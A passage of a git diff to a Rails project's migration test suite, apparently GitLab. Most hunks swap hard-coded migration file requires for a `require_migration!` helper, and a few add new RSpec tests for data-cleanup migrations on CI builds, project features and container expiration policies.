-require Rails.root.join('db', 'migrate', '20200214085940_clean_grafana_url.rb')
+require_migration!
RSpec.describe CleanGrafanaUrl do
let(:application_settings_table) { table(:application_settings) }
diff --git a/spec/migrations/clean_up_noteable_id_for_notes_on_commits_spec.rb b/spec/migrations/clean_up_noteable_id_for_notes_on_commits_spec.rb
index 268fadee0af..8de30af13fd 100644
--- a/spec/migrations/clean_up_noteable_id_for_notes_on_commits_spec.rb
+++ b/spec/migrations/clean_up_noteable_id_for_notes_on_commits_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20190313092516_clean_up_noteable_id_for_notes_on_commits.rb')
+require_migration!
RSpec.describe CleanUpNoteableIdForNotesOnCommits do
let(:notes) { table(:notes) }
diff --git a/spec/migrations/clean_up_pending_builds_table_spec.rb b/spec/migrations/clean_up_pending_builds_table_spec.rb
new file mode 100644
index 00000000000..9c8d4413337
--- /dev/null
+++ b/spec/migrations/clean_up_pending_builds_table_spec.rb
@@ -0,0 +1,47 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+require_migration!
+
+RSpec.describe CleanUpPendingBuildsTable do
+ let(:namespaces) { table(:namespaces) }
+ let(:projects) { table(:projects) }
+ let(:queue) { table(:ci_pending_builds) }
+ let(:builds) { table(:ci_builds) }
+
+ before do
+ namespaces.create!(id: 123, name: 'sample', path: 'sample')
+ projects.create!(id: 123, name: 'sample', path: 'sample', namespace_id: 123)
+
+ builds.create!(id: 1, project_id: 123, status: 'pending', type: 'Ci::Build')
+ builds.create!(id: 2, project_id: 123, status: 'pending', type: 'GenericCommitStatus')
+ builds.create!(id: 3, project_id: 123, status: 'success', type: 'Ci::Bridge')
+ builds.create!(id: 4, project_id: 123, status: 'success', type: 'Ci::Build')
+ builds.create!(id: 5, project_id: 123, status: 'running', type: 'Ci::Build')
+ builds.create!(id: 6, project_id: 123, status: 'created', type: 'Ci::Build')
+
+ queue.create!(id: 1, project_id: 123, build_id: 1)
+ queue.create!(id: 2, project_id: 123, build_id: 4)
+ queue.create!(id: 3, project_id: 123, build_id: 5)
+ end
+
+ it 'removes duplicated data from pending builds table' do
+ migrate!
+
+ expect(queue.all.count).to eq 1
+ expect(queue.first.id).to eq 1
+ expect(builds.all.count).to eq 6
+ end
+
+ context 'when there are multiple batches' do
+ before do
+ stub_const("#{described_class}::BATCH_SIZE", 1)
+ end
+
+ it 'iterates the data correctly' do
+ migrate!
+
+ expect(queue.all.count).to eq 1
+ end
+ end
+end
diff --git a/spec/migrations/cleanup_empty_commit_user_mentions_spec.rb b/spec/migrations/cleanup_empty_commit_user_mentions_spec.rb
index da714e7da4c..d128c13e212 100644
--- a/spec/migrations/cleanup_empty_commit_user_mentions_spec.rb
+++ b/spec/migrations/cleanup_empty_commit_user_mentions_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20200128133510_cleanup_empty_commit_user_mentions')
+require_migration!
RSpec.describe CleanupEmptyCommitUserMentions, :migration, :sidekiq do
let(:users) { table(:users) }
diff --git a/spec/migrations/cleanup_group_import_states_with_null_user_id_spec.rb b/spec/migrations/cleanup_group_import_states_with_null_user_id_spec.rb
index f9285c857de..acd6a19779d 100644
--- a/spec/migrations/cleanup_group_import_states_with_null_user_id_spec.rb
+++ b/spec/migrations/cleanup_group_import_states_with_null_user_id_spec.rb
@@ -12,8 +12,8 @@
# To solve this problem, use SchemaVersionFinder to set schema one version prior to AddNotNullConstraintToUserOnGroupImportStates
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20200907092715_add_not_null_constraint_to_user_on_group_import_states.rb')
-require Rails.root.join('db', 'post_migrate', '20200909161624_cleanup_group_import_states_with_null_user_id.rb')
+require_migration!('add_not_null_constraint_to_user_on_group_import_states')
+require_migration!
RSpec.describe CleanupGroupImportStatesWithNullUserId, :migration,
schema: MigrationHelpers::SchemaVersionFinder.migration_prior(AddNotNullConstraintToUserOnGroupImportStates) do
diff --git a/spec/migrations/cleanup_legacy_artifact_migration_spec.rb b/spec/migrations/cleanup_legacy_artifact_migration_spec.rb
index 83b88a0cf1a..6362965cc31 100644
--- a/spec/migrations/cleanup_legacy_artifact_migration_spec.rb
+++ b/spec/migrations/cleanup_legacy_artifact_migration_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'migrate', '20190104182041_cleanup_legacy_artifact_migration.rb')
+require_migration!('cleanup_legacy_artifact_migration')
RSpec.describe CleanupLegacyArtifactMigration, :redis do
let(:migration) { spy('migration') }
diff --git a/spec/migrations/cleanup_move_container_registry_enabled_to_project_features_spec.rb b/spec/migrations/cleanup_move_container_registry_enabled_to_project_features_spec.rb
new file mode 100644
index 00000000000..3c39327304e
--- /dev/null
+++ b/spec/migrations/cleanup_move_container_registry_enabled_to_project_features_spec.rb
@@ -0,0 +1,45 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+require_migration!('cleanup_move_container_registry_enabled_to_project_feature')
+
+RSpec.describe CleanupMoveContainerRegistryEnabledToProjectFeature, :migration do
+ let(:namespace) { table(:namespaces).create!(name: 'gitlab', path: 'gitlab-org') }
+ let(:non_null_project_features) { { pages_access_level: 20 } }
+ let(:bg_class_name) { 'MoveContainerRegistryEnabledToProjectFeature' }
+
+ let!(:project1) { table(:projects).create!(namespace_id: namespace.id, name: 'project 1', container_registry_enabled: true) }
+ let!(:project2) { table(:projects).create!(namespace_id: namespace.id, name: 'project 2', container_registry_enabled: false) }
+ let!(:project3) { table(:projects).create!(namespace_id: namespace.id, name: 'project 3', container_registry_enabled: nil) }
+
+ let!(:project4) { table(:projects).create!(namespace_id: namespace.id, name: 'project 4', container_registry_enabled: true) }
+ let!(:project5) { table(:projects).create!(namespace_id: namespace.id, name: 'project 5', container_registry_enabled: false) }
+ let!(:project6) { table(:projects).create!(namespace_id: namespace.id, name: 'project 6', container_registry_enabled: nil) }
+
+ let!(:project_feature1) { table(:project_features).create!(project_id: project1.id, container_registry_access_level: 20, **non_null_project_features) }
+ let!(:project_feature2) { table(:project_features).create!(project_id: project2.id, container_registry_access_level: 0, **non_null_project_features) }
+ let!(:project_feature3) { table(:project_features).create!(project_id: project3.id, container_registry_access_level: 0, **non_null_project_features) }
+
+ let!(:project_feature4) { table(:project_features).create!(project_id: project4.id, container_registry_access_level: 0, **non_null_project_features) }
+ let!(:project_feature5) { table(:project_features).create!(project_id: project5.id, container_registry_access_level: 20, **non_null_project_features) }
+ let!(:project_feature6) { table(:project_features).create!(project_id: project6.id, container_registry_access_level: 20, **non_null_project_features) }
+
+ let!(:background_migration_job1) { table(:background_migration_jobs).create!(class_name: bg_class_name, arguments: [project4.id, project5.id], status: 0) }
+ let!(:background_migration_job2) { table(:background_migration_jobs).create!(class_name: bg_class_name, arguments: [project6.id, project6.id], status: 0) }
+ let!(:background_migration_job3) { table(:background_migration_jobs).create!(class_name: bg_class_name, arguments: [project1.id, project3.id], status: 1) }
+
+ it 'steals remaining jobs, updates any remaining rows and deletes background_migration_jobs rows' do
+ expect(Gitlab::BackgroundMigration).to receive(:steal).with(bg_class_name).and_call_original
+
+ migrate!
+
+ expect(project_feature1.reload.container_registry_access_level).to eq(20)
+ expect(project_feature2.reload.container_registry_access_level).to eq(0)
+ expect(project_feature3.reload.container_registry_access_level).to eq(0)
+ expect(project_feature4.reload.container_registry_access_level).to eq(20)
+ expect(project_feature5.reload.container_registry_access_level).to eq(0)
+ expect(project_feature6.reload.container_registry_access_level).to eq(0)
+
+ expect(table(:background_migration_jobs).where(class_name: bg_class_name).count).to eq(0)
+ end
+end
diff --git a/spec/migrations/cleanup_optimistic_locking_nulls_pt2_fixed_spec.rb b/spec/migrations/cleanup_optimistic_locking_nulls_pt2_fixed_spec.rb
index 7c7f87d4e06..2f461ebc1d5 100644
--- a/spec/migrations/cleanup_optimistic_locking_nulls_pt2_fixed_spec.rb
+++ b/spec/migrations/cleanup_optimistic_locking_nulls_pt2_fixed_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20200427064130_cleanup_optimistic_locking_nulls_pt2_fixed.rb')
+require_migration!('cleanup_optimistic_locking_nulls_pt2_fixed')
RSpec.describe CleanupOptimisticLockingNullsPt2Fixed, :migration, schema: 20200219193117 do
test_tables = %w(ci_stages ci_builds ci_pipelines).freeze
diff --git a/spec/migrations/cleanup_optimistic_locking_nulls_spec.rb b/spec/migrations/cleanup_optimistic_locking_nulls_spec.rb
index bcdcd3e9273..a287d950c89 100644
--- a/spec/migrations/cleanup_optimistic_locking_nulls_spec.rb
+++ b/spec/migrations/cleanup_optimistic_locking_nulls_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20200128210353_cleanup_optimistic_locking_nulls')
+require_migration!('cleanup_optimistic_locking_nulls')
RSpec.describe CleanupOptimisticLockingNulls do
let(:epics) { table(:epics) }
diff --git a/spec/migrations/cleanup_projects_with_missing_namespace_spec.rb b/spec/migrations/cleanup_projects_with_missing_namespace_spec.rb
index a50e98faf48..c640bfcd174 100644
--- a/spec/migrations/cleanup_projects_with_missing_namespace_spec.rb
+++ b/spec/migrations/cleanup_projects_with_missing_namespace_spec.rb
@@ -2,8 +2,8 @@
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20200511080113_add_projects_foreign_key_to_namespaces.rb')
-require Rails.root.join('db', 'post_migrate', '20200511083541_cleanup_projects_with_missing_namespace.rb')
+require_migration!('add_projects_foreign_key_to_namespaces')
+require_migration!
# In order to test the CleanupProjectsWithMissingNamespace migration, we need
# to first create an orphaned project (one with an invalid namespace_id)
diff --git a/spec/migrations/complete_namespace_settings_migration_spec.rb b/spec/migrations/complete_namespace_settings_migration_spec.rb
index 7820536f355..46c455d8b19 100644
--- a/spec/migrations/complete_namespace_settings_migration_spec.rb
+++ b/spec/migrations/complete_namespace_settings_migration_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20200907124300_complete_namespace_settings_migration.rb')
+require_migration!
RSpec.describe CompleteNamespaceSettingsMigration, :redis do
let(:migration) { spy('migration') }
diff --git a/spec/migrations/confirm_project_bot_users_spec.rb b/spec/migrations/confirm_project_bot_users_spec.rb
index 11aa08d16a9..5f70181e70a 100644
--- a/spec/migrations/confirm_project_bot_users_spec.rb
+++ b/spec/migrations/confirm_project_bot_users_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20200713071042_confirm_project_bot_users.rb')
+require_migration!
RSpec.describe ConfirmProjectBotUsers, :migration do
let(:users) { table(:users) }
diff --git a/spec/migrations/create_environment_for_self_monitoring_project_spec.rb b/spec/migrations/create_environment_for_self_monitoring_project_spec.rb
index 1ba464f1610..4615c231510 100644
--- a/spec/migrations/create_environment_for_self_monitoring_project_spec.rb
+++ b/spec/migrations/create_environment_for_self_monitoring_project_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20200214214934_create_environment_for_self_monitoring_project')
+require_migration!
RSpec.describe CreateEnvironmentForSelfMonitoringProject do
let(:application_settings_table) { table(:application_settings) }
diff --git a/spec/migrations/deduplicate_epic_iids_spec.rb b/spec/migrations/deduplicate_epic_iids_spec.rb
index 8afb8b06948..c9dd5b3253b 100644
--- a/spec/migrations/deduplicate_epic_iids_spec.rb
+++ b/spec/migrations/deduplicate_epic_iids_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20201106134950_deduplicate_epic_iids.rb')
+require_migration!
RSpec.describe DeduplicateEpicIids, :migration, schema: 20201106082723 do
let(:routes) { table(:routes) }
diff --git a/spec/migrations/delete_internal_ids_where_feature_flags_usage_spec.rb b/spec/migrations/delete_internal_ids_where_feature_flags_usage_spec.rb
index 50b5897220a..30d776c498b 100644
--- a/spec/migrations/delete_internal_ids_where_feature_flags_usage_spec.rb
+++ b/spec/migrations/delete_internal_ids_where_feature_flags_usage_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20200117194900_delete_internal_ids_where_feature_flags_usage')
+require_migration!
RSpec.describe DeleteInternalIdsWhereFeatureFlagsUsage do
let(:namespaces) { table(:namespaces) }
diff --git a/spec/migrations/delete_template_project_services_spec.rb b/spec/migrations/delete_template_project_services_spec.rb
index aacc4fcfd58..20532e4187a 100644
--- a/spec/migrations/delete_template_project_services_spec.rb
+++ b/spec/migrations/delete_template_project_services_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'migrate', '20200305151736_delete_template_project_services.rb')
+require_migration!
RSpec.describe DeleteTemplateProjectServices, :migration do
let(:services) { table(:services) }
diff --git a/spec/migrations/delete_template_services_duplicated_by_type_spec.rb b/spec/migrations/delete_template_services_duplicated_by_type_spec.rb
index 5bcbfb7c733..b5a29436159 100644
--- a/spec/migrations/delete_template_services_duplicated_by_type_spec.rb
+++ b/spec/migrations/delete_template_services_duplicated_by_type_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'migrate', '20200304160801_delete_template_services_duplicated_by_type.rb')
+require_migration!
RSpec.describe DeleteTemplateServicesDuplicatedByType do
let(:services) { table(:services) }
diff --git a/spec/migrations/delete_user_callout_alerts_moved_spec.rb b/spec/migrations/delete_user_callout_alerts_moved_spec.rb
index f6b1a8982fb..401cf77628d 100644
--- a/spec/migrations/delete_user_callout_alerts_moved_spec.rb
+++ b/spec/migrations/delete_user_callout_alerts_moved_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20200710102418_delete_user_callout_alerts_moved.rb')
+require_migration!
RSpec.describe DeleteUserCalloutAlertsMoved do
let(:users) { table(:users) }
diff --git a/spec/migrations/disable_expiration_policies_linked_to_no_container_images_spec.rb b/spec/migrations/disable_expiration_policies_linked_to_no_container_images_spec.rb
new file mode 100644
index 00000000000..f2be06f1ed6
--- /dev/null
+++ b/spec/migrations/disable_expiration_policies_linked_to_no_container_images_spec.rb
@@ -0,0 +1,46 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+require_migration!
+
+RSpec.describe DisableExpirationPoliciesLinkedToNoContainerImages do
+ let(:projects) { table(:projects) }
+ let(:container_expiration_policies) { table(:container_expiration_policies) }
+ let(:container_repositories) { table(:container_repositories) }
+ let(:namespaces) { table(:namespaces) }
+
+ let!(:namespace) { namespaces.create!(name: 'test', path: 'test') }
+ let!(:project) { projects.create!(id: 1, namespace_id: namespace.id, name: 'gitlab1') }
+ let!(:container_expiration_policy) { container_expiration_policies.create!(project_id: project.id, enabled: true) }
+
+ before do
+ projects.create!(id: 2, namespace_id: namespace.id, name: 'gitlab2')
+ container_expiration_policies.create!(project_id: 2, enabled: true)
+ container_repositories.create!(id: 1, project_id: 2, name: 'image2')
+
+ projects.create!(id: 3, namespace_id: namespace.id, name: 'gitlab3')
+ container_expiration_policies.create!(project_id: 3, enabled: false)
+ container_repositories.create!(id: 2, project_id: 3, name: 'image3')
+ end
+
+ it 'correctly disable expiration policies linked to no container images' do
+ expect(enabled_policies.count).to eq 2
+ expect(disabled_policies.count).to eq 1
+ expect(container_expiration_policy.enabled).to eq true
+
+ migrate!
+
+ expect(enabled_policies.count).to eq 1
+ expect(disabled_policies.count).to eq 2
+ expect(container_expiration_policy.reload.enabled).to eq false
+ end
+
+ def enabled_policies
+ container_expiration_policies.where(enabled: true)
+ end
+
+ def disabled_policies
+ container_expiration_policies.where(enabled: false)
+ end
+end
diff --git a/spec/migrations/drop_activate_prometheus_services_background_jobs_spec.rb b/spec/migrations/drop_activate_prometheus_services_background_jobs_spec.rb
index b4bbadd199e..c6115d5889c 100644
--- a/spec/migrations/drop_activate_prometheus_services_background_jobs_spec.rb
+++ b/spec/migrations/drop_activate_prometheus_services_background_jobs_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'migrate', '20200221144534_drop_activate_prometheus_services_background_jobs.rb')
+require_migration!
RSpec.describe DropActivatePrometheusServicesBackgroundJobs, :sidekiq, :redis, schema: 2020_02_21_144534 do
subject(:migration) { described_class.new }
diff --git a/spec/migrations/drop_alerts_service_data_spec.rb b/spec/migrations/drop_alerts_service_data_spec.rb
index b2128da938f..06382132952 100644
--- a/spec/migrations/drop_alerts_service_data_spec.rb
+++ b/spec/migrations/drop_alerts_service_data_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20210205213933_drop_alerts_service_data.rb')
+require_migration!
RSpec.describe DropAlertsServiceData do
let_it_be(:alerts_service_data) { table(:alerts_service_data) }
diff --git a/spec/migrations/drop_background_migration_jobs_spec.rb b/spec/migrations/drop_background_migration_jobs_spec.rb
index 2896f4ca0eb..82b3f9f7187 100644
--- a/spec/migrations/drop_background_migration_jobs_spec.rb
+++ b/spec/migrations/drop_background_migration_jobs_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'migrate', '20200116051619_drop_background_migration_jobs.rb')
+require_migration!
RSpec.describe DropBackgroundMigrationJobs, :sidekiq, :redis, schema: 2020_01_16_051619 do
subject(:migration) { described_class.new }
diff --git a/spec/migrations/drop_project_ci_cd_settings_merge_trains_enabled_spec.rb b/spec/migrations/drop_project_ci_cd_settings_merge_trains_enabled_spec.rb
index 3f6aae401be..3093cd85ced 100644
--- a/spec/migrations/drop_project_ci_cd_settings_merge_trains_enabled_spec.rb
+++ b/spec/migrations/drop_project_ci_cd_settings_merge_trains_enabled_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20191128162854_drop_project_ci_cd_settings_merge_trains_enabled.rb')
+require_migration!
RSpec.describe DropProjectCiCdSettingsMergeTrainsEnabled do
let!(:project_ci_cd_setting) { table(:project_ci_cd_settings) }
diff --git a/spec/migrations/encrypt_feature_flags_clients_tokens_spec.rb b/spec/migrations/encrypt_feature_flags_clients_tokens_spec.rb
index c705515ce98..62bd0dafb8e 100644
--- a/spec/migrations/encrypt_feature_flags_clients_tokens_spec.rb
+++ b/spec/migrations/encrypt_feature_flags_clients_tokens_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20190606175050_encrypt_feature_flags_clients_tokens.rb')
+require_migration!
RSpec.describe EncryptFeatureFlagsClientsTokens do
let(:migration) { described_class.new }
diff --git a/spec/migrations/encrypt_plaintext_attributes_on_application_settings_spec.rb b/spec/migrations/encrypt_plaintext_attributes_on_application_settings_spec.rb
index 7cd3646d107..2e233816b8b 100644
--- a/spec/migrations/encrypt_plaintext_attributes_on_application_settings_spec.rb
+++ b/spec/migrations/encrypt_plaintext_attributes_on_application_settings_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'migrate', '20191120115530_encrypt_plaintext_attributes_on_application_settings.rb')
+require_migration!
RSpec.describe EncryptPlaintextAttributesOnApplicationSettings do
let(:migration) { described_class.new }
diff --git a/spec/migrations/enqueue_reset_merge_status_second_run_spec.rb b/spec/migrations/enqueue_reset_merge_status_second_run_spec.rb
index 2bbc67c4db3..49698f60964 100644
--- a/spec/migrations/enqueue_reset_merge_status_second_run_spec.rb
+++ b/spec/migrations/enqueue_reset_merge_status_second_run_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20190620112608_enqueue_reset_merge_status_second_run.rb')
+require_migration!
RSpec.describe EnqueueResetMergeStatusSecondRun do
let(:namespaces) { table(:namespaces) }
diff --git a/spec/migrations/enqueue_reset_merge_status_spec.rb b/spec/migrations/enqueue_reset_merge_status_spec.rb
index 0843bbacd5f..d62c99b80bc 100644
--- a/spec/migrations/enqueue_reset_merge_status_spec.rb
+++ b/spec/migrations/enqueue_reset_merge_status_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20190528180441_enqueue_reset_merge_status.rb')
+require_migration!
RSpec.describe EnqueueResetMergeStatus do
let(:namespaces) { table(:namespaces) }
diff --git a/spec/migrations/ensure_filled_external_diff_store_on_merge_request_diffs_spec.rb b/spec/migrations/ensure_filled_external_diff_store_on_merge_request_diffs_spec.rb
index 808580d5770..6998e7a91cf 100644
--- a/spec/migrations/ensure_filled_external_diff_store_on_merge_request_diffs_spec.rb
+++ b/spec/migrations/ensure_filled_external_diff_store_on_merge_request_diffs_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20200910170908_ensure_filled_external_diff_store_on_merge_request_diffs.rb')
+require_migration!
RSpec.describe EnsureFilledExternalDiffStoreOnMergeRequestDiffs, schema: 20200908095446 do
let!(:merge_request_diffs) { table(:merge_request_diffs) }
diff --git a/spec/migrations/ensure_filled_file_store_on_package_files_spec.rb b/spec/migrations/ensure_filled_file_store_on_package_files_spec.rb
index 8a0f51ab27e..5cfc3a6eeb8 100644
--- a/spec/migrations/ensure_filled_file_store_on_package_files_spec.rb
+++ b/spec/migrations/ensure_filled_file_store_on_package_files_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20200915185707_ensure_filled_file_store_on_package_files.rb')
+require_migration!
RSpec.describe EnsureFilledFileStoreOnPackageFiles, schema: 20200910175553 do
let!(:packages_package_files) { table(:packages_package_files) }
diff --git a/spec/migrations/ensure_namespace_settings_creation_spec.rb b/spec/migrations/ensure_namespace_settings_creation_spec.rb
index cececc1e569..b105e678d35 100644
--- a/spec/migrations/ensure_namespace_settings_creation_spec.rb
+++ b/spec/migrations/ensure_namespace_settings_creation_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20201104124300_ensure_namespace_settings_creation.rb')
+require_migration!
RSpec.describe EnsureNamespaceSettingsCreation do
context 'when there are namespaces without namespace settings' do
diff --git a/spec/migrations/ensure_target_project_id_is_filled_spec.rb b/spec/migrations/ensure_target_project_id_is_filled_spec.rb
index 72d59a72814..7a9f49390fb 100644
--- a/spec/migrations/ensure_target_project_id_is_filled_spec.rb
+++ b/spec/migrations/ensure_target_project_id_is_filled_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20200831065705_ensure_target_project_id_is_filled.rb')
+require_migration!
RSpec.describe EnsureTargetProjectIdIsFilled, schema: 20200827085101 do
let_it_be(:namespaces) { table(:namespaces) }
diff --git a/spec/migrations/ensure_u2f_registrations_migrated_spec.rb b/spec/migrations/ensure_u2f_registrations_migrated_spec.rb
index 77eab3b829a..01db29c0edf 100644
--- a/spec/migrations/ensure_u2f_registrations_migrated_spec.rb
+++ b/spec/migrations/ensure_u2f_registrations_migrated_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20201026185514_ensure_u2f_registrations_migrated.rb')
+require_migration!
RSpec.describe EnsureU2fRegistrationsMigrated, schema: 20201022144501 do
let(:u2f_registrations) { table(:u2f_registrations) }
diff --git a/spec/migrations/fill_file_store_ci_job_artifacts_spec.rb b/spec/migrations/fill_file_store_ci_job_artifacts_spec.rb
index 64ab879d53c..7adcf74bdba 100644
--- a/spec/migrations/fill_file_store_ci_job_artifacts_spec.rb
+++ b/spec/migrations/fill_file_store_ci_job_artifacts_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'migrate', '20200513235532_fill_file_store_ci_job_artifacts.rb')
+require_migration!
RSpec.describe FillFileStoreCiJobArtifacts do
let(:namespaces) { table(:namespaces) }
diff --git a/spec/migrations/fill_file_store_lfs_objects_spec.rb b/spec/migrations/fill_file_store_lfs_objects_spec.rb
index 23063cc9cd0..688976f79e8 100644
--- a/spec/migrations/fill_file_store_lfs_objects_spec.rb
+++ b/spec/migrations/fill_file_store_lfs_objects_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'migrate', '20200513234502_fill_file_store_lfs_objects.rb')
+require_migration!
RSpec.describe FillFileStoreLfsObjects do
let(:lfs_objects) { table(:lfs_objects) }
diff --git a/spec/migrations/fill_productivity_analytics_start_date_spec.rb b/spec/migrations/fill_productivity_analytics_start_date_spec.rb
index 5d7f0ffba50..b348067a752 100644
--- a/spec/migrations/fill_productivity_analytics_start_date_spec.rb
+++ b/spec/migrations/fill_productivity_analytics_start_date_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'migrate', '20191004081520_fill_productivity_analytics_start_date.rb')
+require_migration!
RSpec.describe FillProductivityAnalyticsStartDate do
let(:settings_table) { table('application_settings') }
diff --git a/spec/migrations/fill_store_uploads_spec.rb b/spec/migrations/fill_store_uploads_spec.rb
index bcb5d45e1c0..19db7c2b48d 100644
--- a/spec/migrations/fill_store_uploads_spec.rb
+++ b/spec/migrations/fill_store_uploads_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'migrate', '20200513235347_fill_store_uploads.rb')
+require_migration!
RSpec.describe FillStoreUploads do
let(:uploads) { table(:uploads) }
diff --git a/spec/migrations/fix_max_pages_size_spec.rb b/spec/migrations/fix_max_pages_size_spec.rb
index b44ce21b858..97cf026df5c 100644
--- a/spec/migrations/fix_max_pages_size_spec.rb
+++ b/spec/migrations/fix_max_pages_size_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'migrate', '20191213120427_fix_max_pages_size.rb')
+require_migration!
RSpec.describe FixMaxPagesSize do
let(:application_settings) { table(:application_settings) }
diff --git a/spec/migrations/fix_null_type_labels_spec.rb b/spec/migrations/fix_null_type_labels_spec.rb
index b3fc0e30687..4f902b92393 100644
--- a/spec/migrations/fix_null_type_labels_spec.rb
+++ b/spec/migrations/fix_null_type_labels_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20190131122559_fix_null_type_labels')
+require_migration!
RSpec.describe FixNullTypeLabels do
let(:migration) { described_class.new }
diff --git a/spec/migrations/fix_pool_repository_source_project_id_spec.rb b/spec/migrations/fix_pool_repository_source_project_id_spec.rb
index 3413cef3c8b..2ee4c458c3c 100644
--- a/spec/migrations/fix_pool_repository_source_project_id_spec.rb
+++ b/spec/migrations/fix_pool_repository_source_project_id_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'migrate', '20190604184643_fix_pool_repository_source_project_id.rb')
+require_migration!
RSpec.describe FixPoolRepositorySourceProjectId do
let(:projects) { table(:projects) }
diff --git a/spec/migrations/fix_projects_without_project_feature_spec.rb b/spec/migrations/fix_projects_without_project_feature_spec.rb
index 696c9e86384..d8c5e7a28c0 100644
--- a/spec/migrations/fix_projects_without_project_feature_spec.rb
+++ b/spec/migrations/fix_projects_without_project_feature_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20200127111840_fix_projects_without_project_feature.rb')
+require_migration!
RSpec.describe FixProjectsWithoutProjectFeature do
let(:namespace) { table(:namespaces).create!(name: 'gitlab', path: 'gitlab-org') }
diff --git a/spec/migrations/fix_projects_without_prometheus_services_spec.rb b/spec/migrations/fix_projects_without_prometheus_services_spec.rb
index 987350847ca..dc03f381abd 100644
--- a/spec/migrations/fix_projects_without_prometheus_services_spec.rb
+++ b/spec/migrations/fix_projects_without_prometheus_services_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
#
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20200220115023_fix_projects_without_prometheus_service.rb')
+require_migration!('fix_projects_without_prometheus_service')
RSpec.describe FixProjectsWithoutPrometheusService, :migration do
let(:namespace) { table(:namespaces).create!(name: 'gitlab', path: 'gitlab-org') }
diff --git a/spec/migrations/fix_wrong_pages_access_level_spec.rb b/spec/migrations/fix_wrong_pages_access_level_spec.rb
index 310076f2e0a..00a620b4426 100644
--- a/spec/migrations/fix_wrong_pages_access_level_spec.rb
+++ b/spec/migrations/fix_wrong_pages_access_level_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20190703185326_fix_wrong_pages_access_level.rb')
+require_migration!
RSpec.describe FixWrongPagesAccessLevel, :sidekiq_might_not_need_inline, schema: 20190628185004 do
using RSpec::Parameterized::TableSyntax
diff --git a/spec/migrations/generate_ci_jwt_signing_key_spec.rb b/spec/migrations/generate_ci_jwt_signing_key_spec.rb
index 249af3bcb50..7a895284aa1 100644
--- a/spec/migrations/generate_ci_jwt_signing_key_spec.rb
+++ b/spec/migrations/generate_ci_jwt_signing_key_spec.rb
